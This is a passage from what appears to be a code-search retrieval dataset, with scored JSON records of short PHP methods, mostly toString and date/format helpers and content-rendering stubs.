$this->exportTo(TarefaPeer::DEFAULT_STRING_FORMAT);\n\t}", "title": "" }, { "docid": "4b1c211dfea47e997574f011ed054173", "score": "0.6071869", "text": "public function getFormatted()/*# string */;", "title": "" }, { "docid": "efd73f4462851a6b40bc94114431bdd4", "score": "0.6055929", "text": "private function getFormatString()/*: string*/\n {\n $styles = [];\n\n /** @var array<int, string> $href */\n $href = isset($this->properties['href']) ? $this->properties['href'] : [];\n if ($href !== []) {\n $styles[] = sprintf('href=%s', array_pop($href));\n }\n\n $colors = isset($this->properties['colors']) ? $this->properties['colors'] : [];\n\n foreach ($colors as $option => $content) {\n if (in_array($option, ['fg', 'bg'], true)) {\n $content = is_array($content) ? array_pop($content) : $content;\n\n $styles[] = \"$option=$content\";\n }\n }\n\n $options = isset($this->properties['options']) ? $this->properties['options'] : [];\n\n if ($options !== []) {\n $options = array_keys(array_filter(\n $options, function ($option) { return $option === true; }\n ));\n $styles[] = count($options) > 0\n ? 'options='.implode(',', $options)\n : 'options=,';\n }\n\n // If there are no styles we don't need extra tags\n if ($styles === []) {\n return '%s%s%s%s%s';\n }\n\n return '%s<'.implode(';', $styles).'>%s%s%s</>%s';\n }", "title": "" }, { "docid": "9b5e34f00d99a4122ee2d1e8a25bf164", "score": "0.6038081", "text": "public function __toString() {\n $time = $this->getUnixTime();\n if (self::isThisYear($time)) return date('F j', $time);\n else return date('F j, Y', $time);\n }", "title": "" }, { "docid": "1d88fa17d0a56d1c0f1de4544200f974", "score": "0.6034148", "text": "public function __toString()\n {\n return $this->error()\n ? '0'\n : strval($this->getTimestamp());\n }", "title": "" }, { "docid": "6054ba39c52f8920d0f33aa1e3179359", "score": "0.60267365", "text": "public function toShortString () {\n\t\treturn sprintf('%04d%02d%02d', $this->year, $this->month, $this->day);\n\t}", "title": "" }, { "docid": "69a001732fd8031db157d0c2a73d87d8", "score": "0.6026319", "text": "public function getFormat(): string\n {\n return $this->format;\n }", "title": "" }, { "docid": "d239ae3c3241ae7072811acd1717e8e8", "score": "0.6020571", "text": "public function ToString___($format, System_IFormatProvider $formatProvider);", "title": "" }, { "docid": "f6c966092b92dafa0442c059e670ac3a", "score": "0.59978676", "text": "public function serialize()\n\t{\n\t\treturn $this->date->format('Ymd') . '.x';\n\t}", "title": "" }, { "docid": "6552d81225651c319b6d268f7a1e8643", "score": "0.59918374", "text": "public function __toString(): string\n {\n return $this->format('Y-m-d');\n }", "title": "" }, { "docid": "38df5fef5e2e1648629b0e5f15939980", "score": "0.59881544", "text": "public function s() { return $this->to_string(); }", "title": "" }, { "docid": "0e2fff023e0af7a38a1c340149a47644", "score": "0.5978111", "text": "public function toTonscanFormat(): string\n {\n return $this->toString(userFriendly: true, urlSafe: true, bounceable: true);\n }", "title": "" }, { "docid": "c242f2d7968fa35efa045d6c9142a247", "score": "0.5968695", "text": "public function __toString()\n {\n $amount = (string)$this->amount;\n $currency = $this->currency;\n return \"$amount $currency\";\n }", "title": "" }, { "docid": "687c5b3cc22c3cd49a7de5a7801c2bd6", "score": "0.59657466", "text": "public function getToStr(){\n $toTime = $this->getTo();\n return (isset($toTime)) ? $toTime->format('H:i') : '';\n }", "title": "" }, { "docid": "a53a13d677680de72375e126cbe76c32", "score": "0.59630495", "text": "public function __toString()\n\t{\n\t\treturn sprintf('%s', $this->getValue());\n\t}", "title": "" }, { "docid": "d05e93c4bf92329eb8e5b5fda827e249", "score": "0.59459877", "text": "public function __toString()\r\n {\r\n return (string) $this->exportTo(EscalaPessoaPeer::DEFAULT_STRING_FORMAT);\r\n }", "title": "" }, { "docid": "9465567ef799961deb22d077663b1120", "score": "0.5942831", "text": "public function __toString(): string\n {\n return ($this->number) ? $this->number : '';\n }", "title": "" }, { "docid": "eb467c4b4353b5a98c33b187c132294e", "score": "0.5941382", "text": "public function __toString() : string\n {\n foreach ($this->values as $value) {\n if (is_string($value)) {\n return $value;\n }\n }\n\n return '';\n }", "title": "" }, { "docid": "9bc86ef6662bc51a31f6c41d9738e9de", "score": "0.59039676", "text": "public function getStringValue()\n {\n if ($this->defaultValue === $this->getValue()) {\n return '';\n }\n\n $time = implode('', $this->value);\n if ($time === '') {\n return '';\n }\n\n return 'T' . $time;\n }", "title": "" }, { "docid": "a3de7b285e8859245a9c580dad88095f", "score": "0.5903453", "text": "public function __toString()\r\n\t\t{\r\n\t\t\t//implode('-', $arr_data);\r\n\t\t\treturn $this->data[0] . '-' . $this->data[1] . '-' . $this->data[2]; // выведет дату в формате 'год-месяц-день'\r\n\t\t\t\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "bd42f7c59da9b981bf2b318b3251a7fe", "score": "0.5901547", "text": "public function format(string $format = 'Y-m-d H:i:s'): string;", "title": "" }, { "docid": "f35f1ad633306c3e02c5e25cce410dd8", "score": "0.5901187", "text": "public function toString()\n {\n $str = ((string)$this->value);\n $str .= \"+\" . ((string)$this->currency);\n if (strlen($this->issuer) > 0)\n $str .= \"+\" . ((string)$this->issuer);\n \n return $str;\n }", "title": "" }, { "docid": "bad6eebdbd5b366627cd43c89c84533d", "score": "0.5898561", "text": "public function AsString( ) {\n\n if ( $this->m_end_date == null ){\n $endday = $endmonth = $endyear = 0;\n } else {\n $endday = $this->m_end_date->Day();\n $endmonth = $this->m_end_date->Month();\n $endyear = $this->m_end_date->Year();\n }\n\n if ( $this->m_start_date == null ){\n $startday = $startmonth = $startyear = 0;\n } else {\n $startday = $this->m_start_date->Day();\n $startmonth = $this->m_start_date->Month();\n $startyear = $this->m_start_date->Year();\n }\n\n\n $on_last = $this->m_on_last_week ? 1 : 0;\n $on_any = $this->m_on_any_week ? 1 : 0;\n\n\t$this->GetFullWeekArray( $a_weeks );\n\t$str_weeks = implode( ':', $a_weeks );\n\n\t$this->GetFullWeekdayArray( $a_week_days );\n\t$str_week_days = implode( ':', $a_week_days );\n\n return sprintf( \"s5-%d:%d:%d:%d-(%d.%d.%d)-(%d.%d.%d)-{{$str_week_days}}-{{$str_weeks}:%d:%d}\",\n $this->m_directionOnSaturday, $this->m_directionOnSunday, $this->m_directionOnCelebrity,$this->m_directionOnHoliday,\n $startday, $startmonth, $startyear,\n $endday, $endmonth, $endyear, $on_last, $on_any\n );\n }", "title": "" }, { "docid": "e92b7c021508136b84eda863d16119c9", "score": "0.58963776", "text": "public function __toString()\n {\n return $this->formatToEnglish();\n\n }", "title": "" }, { "docid": "af561352109f14858c6277bfed9e7ec5", "score": "0.58915126", "text": "function toString();", "title": "" }, { "docid": "af561352109f14858c6277bfed9e7ec5", "score": "0.58915126", "text": "function toString();", "title": "" }, { "docid": "ae1eb3a8a41c4cc7de7ee43900709ed3", "score": "0.5889009", "text": "public function toString(): string;", "title": "" }, { "docid": "ae1eb3a8a41c4cc7de7ee43900709ed3", "score": "0.5889009", "text": "public function toString(): string;", "title": "" }, { "docid": "ae1eb3a8a41c4cc7de7ee43900709ed3", "score": "0.5889009", "text": "public function toString(): string;", "title": "" }, { "docid": "ae1eb3a8a41c4cc7de7ee43900709ed3", "score": "0.5889009", "text": "public function toString(): string;", "title": "" }, { "docid": "c97ef04b76ad40b208d81d1a4847e9e9", "score": "0.58846396", "text": "public function toString()\n {\n $fields = array(\n 'h' => _(\"Hours\"),\n 'con' => _(\"Cost object\"),\n 'desc' => _(\"Description\"),\n 'n' => _(\"Notes\"),\n 'tn' => _(\"Job Type\"),\n 'b' => _(\"Billable\")\n );\n $string = '';\n $values = $this->toJson();\n foreach ($fields as $field => $title) {\n $string .= sprintf(\"%s: %s\\n\", $title, $values[$field]);\n }\n $string .= sprintf(\"%s: %s\", _(\"Client\"), $values['cn']['name']);\n\n return $string;\n }", "title": "" }, { "docid": "26a51184ebf97d7fb225a91dc2b969a0", "score": "0.5880233", "text": "public function __toString(){\n return (string) $this->format('m');\n }", "title": "" }, { "docid": "845e605ce1b1253d58256a635f556a4f", "score": "0.5878495", "text": "public static function getDefaultFormat()\n {\n return static::$defaultFormat;\n }", "title": "" }, { "docid": "4cf332328faee5821f616d3f386bb4e5", "score": "0.58783346", "text": "public function toString() {\n\t\t//country code and language code must not empty at one time.\n\t\tif (strlen($this->language) == 0 && strlen($this->country) == 0) return '';\n\t\t$localeString = '';\n\t\t$part = '';\n\t\tif(strlen($this->language) != 0) {\n\t\t\t$localeString .= $this->language;\n\t\t\t$part = '-';\n\t\t}\n\t\tif(strlen($this->country) != 0) {\n\t\t\t$localeString .= $part;\n\t\t\t$localeString .= $this->country;\n\t\t}\n\t\treturn $localeString;\n\t}", "title": "" }, { "docid": "e758f1146730182ca49cbcd6abe4907b", "score": "0.5878095", "text": "public function __toString()\n {\n return $this->toNativeDateTime()->format('G:i:s');\n }", "title": "" }, { "docid": "34f3413d5f27a93def0b1cf094d6f790", "score": "0.58773494", "text": "public function toString();", "title": "" }, { "docid": "34f3413d5f27a93def0b1cf094d6f790", "score": "0.58773494", "text": "public function toString();", "title": "" }, { "docid": "34f3413d5f27a93def0b1cf094d6f790", "score": "0.58773494", "text": "public function toString();", "title": "" }, { "docid": "34f3413d5f27a93def0b1cf094d6f790", "score": "0.58773494", "text": "public function toString();", "title": "" }, { "docid": "34f3413d5f27a93def0b1cf094d6f790", "score": "0.58773494", "text": "public function toString();", "title": "" }, { "docid": "34f3413d5f27a93def0b1cf094d6f790", "score": "0.58773494", "text": "public function toString();", "title": "" }, { "docid": "34f3413d5f27a93def0b1cf094d6f790", "score": "0.58773494", "text": "public function toString();", "title": "" }, { "docid": "34f3413d5f27a93def0b1cf094d6f790", "score": "0.58773494", "text": "public function toString();", "title": "" }, { "docid": "3d6cb24c4976539b4863382c710419a5", "score": "0.58739316", "text": "public function toISO8601String()\n {\n return $this->format('c');\n }", "title": "" }, { "docid": "7d90f977691ae8e16b7a284123cca0a4", "score": "0.58673227", "text": "public function toString()\n {\n return $this->format('Y-m-d H:i:s');\n }", "title": "" }, { "docid": "ed5e3125db220f250cd1f06b5f11ce6c", "score": "0.5856343", "text": "public function getLogFormat(): string;", "title": "" }, { "docid": "a1a23715ef8e93c5ee3df1cfcb973ce9", "score": "0.5848901", "text": "public function __toString(): string\n {\n return $this->to_s();\n }", "title": "" }, { "docid": "b59b9bc4af353a42ccbddb1c36b71b97", "score": "0.5842956", "text": "public function __toString()\n {\n return strval($this->toInt());\n }", "title": "" }, { "docid": "f0fafb427bdcfaa25ad6bcd9150a59aa", "score": "0.58395505", "text": "public function __toString() {\n\t\treturn '';\n\t}", "title": "" }, { "docid": "c379188e3184bcb477d7105214a3cd6a", "score": "0.5838216", "text": "public function __ToString() : string\n {\n if($this != NULL){\n return $this->_patente.\" - \".$this->_marca.\" - \".$this->_color.\" - \".$this->_precio.\"\\n\";\n }\n else\n return \"\";\n }", "title": "" }, { "docid": "b580e04e3be5cec32f54211ce4936e14", "score": "0.58362705", "text": "public function asNiceString(){\n\t\treturn $this->thisForClass(\"WHDate\")->asNiceString().', '.$this->thisForClass(\"WHTime\")->asNiceString() ;\n\t}", "title": "" }, { "docid": "dd11b470f430d12d399f44c904b7b040", "score": "0.5832266", "text": "function epochformatted()\r\n\t\t{\r\n\t\t\t$val = $this->formattedvalue();\r\n\t\t\tif(is_numeric($val)) return \"\";\r\n\t\t\treturn $val;\r\n\t\t}", "title": "" }, { "docid": "ed3ee5c9ddefa9cf857490a228d8b711", "score": "0.5831186", "text": "public function toString($value = null)\n {\n $v = ($value === null ? $this->get() : $this->normalize($value));\n\n try {\n switch ($this->type) {\n case null: // loose comparison, but is OK here\n return $v;\n case 'boolean':\n throw new Exception(['Use Field\\Boolean for type=boolean', 'this'=>$this]);\n case 'date':\n return $v instanceof \\DateTimeInterface ? $v->format('Y-m-d') : (string) $v;\n case 'datetime':\n return $v instanceof \\DateTimeInterface ? $v->format('c') : (string) $v; // ISO 8601 format 2004-02-12T15:19:21+00:00\n case 'time':\n return $v instanceof \\DateTimeInterface ? $v->format('H:i:s') : (string) $v;\n case 'array':\n return json_encode($v); // todo use Persistence->jsonEncode() instead\n case 'object':\n return json_encode($v); // todo use Persistence->jsonEncode() instead\n default:\n return (string) $v;\n }\n } catch (Exception $e) {\n $e->addMoreInfo('field', $this);\n\n throw $e;\n }\n }", "title": "" }, { "docid": "efc55c0110e28d785312f7b6ba57db1c", "score": "0.58298576", "text": "function format($force_format=null)\n {\n if ($force_format !== null) {\n return $this->format = $force_format;\n }\n elseif (!empty($this->format)) {\n return $this->format;\n }\n elseif (!empty($this->path_parameters[':format'])) {\n return $this->path_parameters[':format'];\n }\n return 'html';\n }", "title": "" }, { "docid": "4e4d8b23ab435585a4c830240dc7248f", "score": "0.58251154", "text": "function timeToString($time='0')\n {\n if($time=='0')\n {\n return '';\n }\n else\n {\n return date('d-M-Y H:i:s', $time);\n }\n }", "title": "" }, { "docid": "87e2655ea502107f2e9cd5ff89b7c172", "score": "0.5824422", "text": "public function format(array $data, array $options = []): string;", "title": "" }, { "docid": "9e8f6e70f513723bf4dd6077bdc7341e", "score": "0.5823793", "text": "public function __toString(): string\n {\n if (null === $this->checkSum) {\n return parent::__toString();\n }\n\n return parent::__toString().(string) $this->checkSum;\n }", "title": "" }, { "docid": "07fdde5773af784d273048c54ccfc98c", "score": "0.58219975", "text": "public function to_string()\n\t{\n\t\treturn (string) $this;\n\t}", "title": "" }, { "docid": "4bedfece12fd6f52080facce4497c5bb", "score": "0.58146906", "text": "public function __toString(): string\n {\n return sprintf('%F,%F', $this->getLatitude()->toNative(), $this->getLongitude()->toNative());\n }", "title": "" }, { "docid": "498375a2ebeac83a94de797f1e7f601b", "score": "0.5814677", "text": "public function __toString()\n {\n return sprintf('%s%s %s - %s',\n $this->cmd,\n $this->getFlags(),\n $this->getParams(),\n ($this->outputFile !== null ? $this->outputFile : '-')\n );\n }", "title": "" }, { "docid": "f009594997487421ccb07bd78699ad89", "score": "0.5812675", "text": "public function __toString()\n {\n return (string) $this->exportTo(UbilabPeer::DEFAULT_STRING_FORMAT);\n }", "title": "" }, { "docid": "58b4036e03e293337e9ba9d84bcf3211", "score": "0.5800212", "text": "public function __toString()\n {\n return '';\n }", "title": "" } ]
db6b9a27b3de8dce16b1c94ab940458b
/ enables any processing to be done on the content
[ { "docid": "5be540f4d03c4025badd63762e655919", "score": "0.0", "text": "function presave_process( $content ) {\n /// just prior to the file being saved\n /// default is to do nothing\n \n return $content;\n }", "title": "" } ]
[ { "docid": "710d54cd222629aa532483fbfbe77c79", "score": "0.72169006", "text": "private function processContent(){\n\t\t$this->textEnd = strpos($this->raw,\"</{$this->tag}\");\n\t\t$this->text = trim(substr($this->raw, $this->textStart, $this->textEnd - $this->textStart));\n\t}", "title": "" }, { "docid": "58672cbc3f3239340b3fcf568762371c", "score": "0.71202624", "text": "protected function render_content()\n {\n }", "title": "" }, { "docid": "58672cbc3f3239340b3fcf568762371c", "score": "0.71202624", "text": "protected function render_content()\n {\n }", "title": "" }, { "docid": "58672cbc3f3239340b3fcf568762371c", "score": "0.71202624", "text": "protected function render_content()\n {\n }", "title": "" }, { "docid": "58672cbc3f3239340b3fcf568762371c", "score": "0.71190214", "text": "protected function render_content()\n {\n }", "title": "" }, { "docid": "8e2e821a21de59098064b33f1cedfef7", "score": "0.7033329", "text": "protected function setContent() {}", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "18bb602acc2b252bcabf3da436a83e39", "score": "0.6965078", "text": "public function render_content()\n {\n }", "title": "" }, { "docid": "99b94beb42b04cc201c96968e089acfe", "score": "0.6932801", "text": "public function startContent() {\n ob_start();\n }", "title": "" }, { "docid": "e1ab1f4fe3cbcc3d59b6d6c0208ab766", "score": "0.68951577", "text": "public function render_content() {\n\t}", "title": "" }, { "docid": "addf81c65fcf27bd1c36377e26933662", "score": "0.68830645", "text": "public function renderContent() {}", "title": "" }, { "docid": "4208b6cda2550d09654fd4658f7cd376", "score": "0.67078775", "text": "protected function _process() {}", "title": "" }, { "docid": "4208b6cda2550d09654fd4658f7cd376", "score": "0.67078775", "text": "protected function _process() {}", "title": "" }, { "docid": "4208b6cda2550d09654fd4658f7cd376", "score": "0.67078775", "text": "protected function _process() {}", "title": "" }, { "docid": "4208b6cda2550d09654fd4658f7cd376", "score": "0.67078775", "text": "protected function _process() {}", "title": "" }, { "docid": "2b53bafabf36b5dccc947043813557b6", "score": "0.6638522", "text": "abstract protected function RenderContent();", "title": "" }, { "docid": "3d806f132ccd1123d8fc76c64242be00", "score": "0.6634427", "text": "public function prePageContent();", "title": "" }, { "docid": "98ef386adfb4371979698d6df3581b22", "score": "0.65988404", "text": "public static function renderContent() {}", "title": "" }, { "docid": "19f354bc1631dcade4f0755808c59b6a", "score": "0.6538464", "text": "protected abstract function renderContent();", "title": "" }, { "docid": "1d78b355affa13c3e25e15462f45a2a9", "score": "0.6503944", "text": "public function generatePage_postProcessing() {}", "title": "" }, { "docid": "c35d6c5e8e240391aa63fff140c2aca3", "score": "0.6498379", "text": "protected function process()\n {}", "title": "" }, { "docid": "7a137f9a89d6841f0ccee11b6a2e976d", "score": "0.6458018", "text": "public function endContent() {\n $this->content(ob_get_clean());\n }", "title": "" }, { "docid": "84b462eb0827167f17112eec22978ff3", "score": "0.6442107", "text": "abstract protected function content();", "title": "" }, { "docid": "de940652e9c8322d84bc9d5a84cd1a93", "score": "0.6420339", "text": "public function run()\n {\n $this->renderContent();\n echo ob_get_clean();\n }", "title": "" }, { "docid": "a4f1838cf2eaf96921e09a7d97639522", "score": "0.6401616", "text": "abstract protected function render_page_content(): void;", "title": "" }, { "docid": "9201755c396fd80b4a041efa379b9203", "score": "0.6359677", "text": "public function generatePage_preProcessing() {}", "title": "" }, { "docid": "640095b8f18f82ab87660ecb05609235", "score": "0.6340778", "text": "protected function setPlainContent() {}", "title": "" }, { "docid": "89fbd066c43ac32b3670a6ba59d493d6", "score": "0.63355416", "text": "private function _processContents()\r\n {\r\n $contents = \"\";\r\n foreach ($this->_bagBody->objects as $obj) {\r\n $isInfoKey = false;\r\n foreach ($this->_aryInfoKeys as $infoKey)\r\n if ($infoKey == $obj['key'])\r\n $isInfoKey = true;\r\n \r\n if ($obj['probableText'] == true && !$isInfoKey)\r\n $contents .= $obj['contents'];\r\n } \r\n $this->_contents = $contents;\r\n }", "title": "" }, { "docid": "ce1f1d39966c17c23ae72104f3a757c1", "score": "0.6303651", "text": "public function run()\n\t{\n\t\t$this->renderContent();\n\t\t$content=ob_get_clean();\n\t\tif($this->hideOnEmpty && trim($content)==='')\n\t\t\treturn;\n\t\techo $content;\n\t}", "title": "" }, { "docid": "7e9ba9f5a512b800f973f7813a7eb70f", "score": "0.6302516", "text": "protected function preProcess() {}", "title": "" }, { "docid": "3aa2360b02651d2e20675ada07adba3b", "score": "0.6288808", "text": "abstract protected function displayContent();", "title": "" }, { "docid": "0da85f13b7cd1c7b46864f45092f20ea", "score": "0.62717867", "text": "public function process()\n\t{\n\t\t$this->_init();\n\t\tif ($this->_flow != PAGE_FLOW_NORMAL) {$this->process_flow(); return;}\n\n\t\t$this->_handle_forms();\n\t\tif ($this->_flow != PAGE_FLOW_NORMAL) {$this->process_flow(); return;}\n\n\t\t$this->_pre_render();\n\t\tif ($this->_flow != PAGE_FLOW_NORMAL) {$this->process_flow(); return;}\n\n\t\t$this->render();\n\t}", "title": "" }, { "docid": "ba3bf3e7b7600e0dc742cb06d3f84650", "score": "0.6246353", "text": "function content() {\r\n\t\t/* Reimplement this function in subclasses. */\r\n\t}", "title": "" }, { "docid": "7ae7937c6e4da4434e7c98051526458c", "score": "0.62330025", "text": "protected function setHtmlContent() {}", "title": "" }, { "docid": "442ee2c3b334c58472471c6d44e797c1", "score": "0.62117404", "text": "public function run()\n\t{\n\t\tif ( $this->notFound() ) {\n\t\t $this->setNotFoundContent();\n\t\t}\n elseif ( $this->success() ) {\n\t\t $this->setSuccessContent();\n\t\t}\n else {\n $this->setFormContent();\n }\n\t}", "title": "" }, { "docid": "0be14177d18288ebd2ac9aa5cd51384a", "score": "0.61360455", "text": "public function RenderContentAjax(): void {\n $this->showContent(TRUE);\n }", "title": "" }, { "docid": "05525bc8b5144206308984f4206448f1", "score": "0.6127042", "text": "function getContent() ;", "title": "" }, { "docid": "fa73703626a56f99e31effe86b692bdc", "score": "0.6082673", "text": "protected function content_template() {}", "title": "" }, { "docid": "fa73703626a56f99e31effe86b692bdc", "score": "0.6082673", "text": "protected function content_template() {}", "title": "" }, { "docid": "07d6c5a659d580a8599627daea553d65", "score": "0.60785997", "text": "public function realPageCacheContent() {}", "title": "" }, { "docid": "91034dc1839e4ee8ab7333a02756bbb5", "score": "0.60768306", "text": "public function run()\n {\n $block = trim(ob_get_clean());\n $this->registerCssBlock($block);\n $this->registerJsBlock($block);\n }", "title": "" }, { "docid": "f3e68718244fe046877c9583793c5abb", "score": "0.60662234", "text": "public function content();", "title": "" }, { "docid": "c6a0c3e0b0269374991d598d98ac19da", "score": "0.60627115", "text": "protected function _run() {\n $tmpContent = $this->_content;\n $this->_content = $this->_getCurrentTemplateContent();\n $spaceContent = $this->_parse();\n $this->_content = $tmpContent;\n $content = '';\n\n if(!$spaceContent) {\n $spaceContent = $this->_parse();\n }\n\n $this->_parseParams();\n $news = Newslog_Models_Mapper_NewsMapper::getInstance()->fetchAll(null, array('created_at ' . $this->_orderDirection), $this->_limit, 0);\n\n if(!is_array($news) || empty($news)) {\n return 'You don\\'t have news yet.';\n }\n\n $this->_spaceContent = $spaceContent;\n foreach($news as $newsItem) {\n if(Tools_Security_Acl::isAllowed(Tools_Security_Acl::RESOURCE_ADMINPANEL)) {\n $spaceContent = '<input type=\"hidden\" class=\"news-list-hidden news-list-hidden-' . $newsItem->getId() . '\" />' . $this->_spaceContent;\n }\n $content .= preg_replace('~{\\$' . self::NEWS_WIDGET_NAME . ':(.+)}~uU', '{$' . self::NEWS_WIDGET_NAME . ':' . $newsItem->getPageId() . ':$1}', $spaceContent);\n }\n $parser = new Tools_Content_Parser($content, array());\n return $parser->parseSimple();\n }", "title": "" }, { "docid": "4ca09ad54fd45ac027524de96aa86b6b", "score": "0.6060185", "text": "protected function _content_template() { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore \n\t\t$this->content_template();\n\t}", "title": "" }, { "docid": "90305591496f6f572673ba7eacc45d8a", "score": "0.6054154", "text": "public function prepareImportContent();", "title": "" }, { "docid": "0005391746de3119e0b46f513c2dd6e6", "score": "0.60514015", "text": "public function run()\n {\n// $this->parse();\n }", "title": "" }, { "docid": "18833cadc2f12507f35efd6e362f6509", "score": "0.6049042", "text": "protected function _setContent() {\n\t\tif (in_array($this->_status, array(304, 204))) {\n\t\t\t$this->body('');\n\t\t}\n\t}", "title": "" }, { "docid": "a7e661a08ce35cda5d27639371c555f9", "score": "0.60435134", "text": "function page_content()\n {\n //This needs to deliver page data that is requested by the ROUTE.\n }", "title": "" }, { "docid": "0e02b8585e97c28bfb7459124a551c27", "score": "0.6040101", "text": "public function render() {\n\t\t$this->render_page_content();\n\t}", "title": "" }, { "docid": "ca57f9f19a94b37dc5e429ca08d0c39a", "score": "0.60267293", "text": "public function silo_contents()\n\t{\n\t}", "title": "" }, { "docid": "130feea70556ceef216f5d2bdb07b04b", "score": "0.60255766", "text": "public function renderContent()\n {\n // Isn't a legale section\n if(!$this->processor->section) return;\n\n $method = 'gen'.ucfirst($this->processor->section);\n if(method_exists($this, $method)) {\n $section = $this->$method();\n return $this->tplp->render($section, $this->processor->data,\n true, array(), true\n );\n }\n }", "title": "" }, { "docid": "4a30e569b7ec76871ff15ab1f2ace33e", "score": "0.60245436", "text": "public final function get_content()\n {\n }", "title": "" }, { "docid": "4a30e569b7ec76871ff15ab1f2ace33e", "score": "0.60245436", "text": "public final function get_content()\n {\n }", "title": "" }, { "docid": "4a30e569b7ec76871ff15ab1f2ace33e", "score": "0.6023359", "text": "public final function get_content()\n {\n }", "title": "" }, { "docid": "4287efb3a3fb219ccc7bb8543866c9bc", "score": "0.6018462", "text": "function onAfterRender() {\n\t \n\t\t// don't run if disabled overrides are true\n\t if ($this->_shouldProcess()) return;\n\t \n\t\t$this->_PHP4();\n\n\t\t$document = & JFactory::getDocument();\n\t\t$doctype = $document->getType();\n\t\tif ($doctype == 'html') {\n\t\t\t$body = JResponse::getBody();\n\t\t\tif ($this->_replaceCode($body)) {\n\t\t\t\tJResponse::setBody($body);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "525c5e077317e32e25d8682c8b25040e", "score": "0.60165596", "text": "public function ensureContent();", "title": "" }, { "docid": "8e776bde279769ed193e46d2da618f8a", "score": "0.6012321", "text": "public function processaClassifica() {\n $this->fetch('classifica.tpl');\n }", "title": "" }, { "docid": "c664b4e5bc9c6bba04d937ef962352c1", "score": "0.60101", "text": "public static function post_process() {}", "title": "" }, { "docid": "ac7d479e1093c1ea54b0f54e01a8407b", "score": "0.60097486", "text": "function printContent()\t{\n\n\t\t$this->content.=$this->doc->endPage();\n\t\techo $this->content;\n\t}", "title": "" }, { "docid": "ac7d479e1093c1ea54b0f54e01a8407b", "score": "0.60097486", "text": "function printContent()\t{\n\n\t\t$this->content.=$this->doc->endPage();\n\t\techo $this->content;\n\t}", "title": "" }, { "docid": "ac7d479e1093c1ea54b0f54e01a8407b", "score": "0.60097486", "text": "function printContent()\t{\n\n\t\t$this->content.=$this->doc->endPage();\n\t\techo $this->content;\n\t}", "title": "" }, { "docid": "68899fe08f5ea547eb79ecc6dd59e16b", "score": "0.6008701", "text": "public function ensureContent() {}", "title": "" }, { "docid": "22297cb0ee88b2b8bc3e33e5cdfee21c", "score": "0.60076934", "text": "public function drawContent()\n\t\t{\n\t\t}", "title": "" }, { "docid": "abefa3aac70e181670f5feb88c65a4e5", "score": "0.60042393", "text": "protected function _content_template() { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore\n\t\t$this->content_template();\n\t}", "title": "" }, { "docid": "71d1a414e1fad546935008d1e781d443", "score": "0.5992847", "text": "public function content() {\n\t\t\t$this->output->layout = \"empty\";\n\t\t\t$this->output->view(\"api/xml/content.php\");\n\t\t\t$this->output->header(\"Content-Type: text/xml\");\n\t\t\t$this->output->cache($this->default_cache_timeout);\n\t\t}", "title": "" }, { "docid": "a9b77ac5cc7e84b72c9ac85a993a1b52", "score": "0.5989745", "text": "function printContent()\t{\n\t\t$this->content.=$this->doc->endPage();\n\t\techo $this->content;\n\t}", "title": "" }, { "docid": "2a0054d39aa21d70f1240cbcd8b8f41c", "score": "0.5978374", "text": "function content();", "title": "" }, { "docid": "72c2d4ab5ad44c564a872d23c98511bb", "score": "0.59694785", "text": "function printContent()\t{\n\n\t\t\t\t\t$this->content.=$this->doc->endPage();\n\t\t\t\t\techo $this->content;\n\t\t\t\t}", "title": "" }, { "docid": "068449a12d44d7b8133eafd5a86b3098", "score": "0.5933343", "text": "function perform()\n { \n // template var with charset used for the html pages\n $this->viewVar['charset'] = $this->config->getModuleVar('common', 'charset');\n // template var with css folder\n $this->viewVar['cssFolder'] = JAPA_PUBLIC_DIR . 'styles/'.$this->config->getModuleVar('common', 'styles_folder');\n\n if(isset($this->dontPerform))\n {\n return;\n }\n \n // init template 'pic' variable \n $this->viewVar['pic'] = array();\n \n // get requested picture content\n $this->model->action($this->module,'getPicture', \n array('result' => & $this->viewVar['pic'],\n 'id_pic' => (int)$this->current_id_pic,\n 'fields' => array('title','description',\n 'file','size','width','height',\n 'mime','media_folder')));\n }", "title": "" }, { "docid": "80d43577e5fb13709cc10b55222ac66a", "score": "0.5930946", "text": "public function postProcess();", "title": "" }, { "docid": "751a45cf507a95bff1c361c267391382", "score": "0.59301394", "text": "public function sendContent()\n {\n if (!$this->headerOnly)\n {\n parent::sendContent();\n }\n }", "title": "" }, { "docid": "46d9acf2fd1d7d1861b67fdae0569e56", "score": "0.5925112", "text": "public function doProcessData() {}", "title": "" }, { "docid": "83c4da9836d6de2e4358d50064835f68", "score": "0.59166104", "text": "abstract public function onContentPrepare(&$content, $full = true);", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", "score": "0.5896178", "text": "public function printContent() {}", "title": "" }, { "docid": "45bf081260b8a52f791eebfc0eabf693", 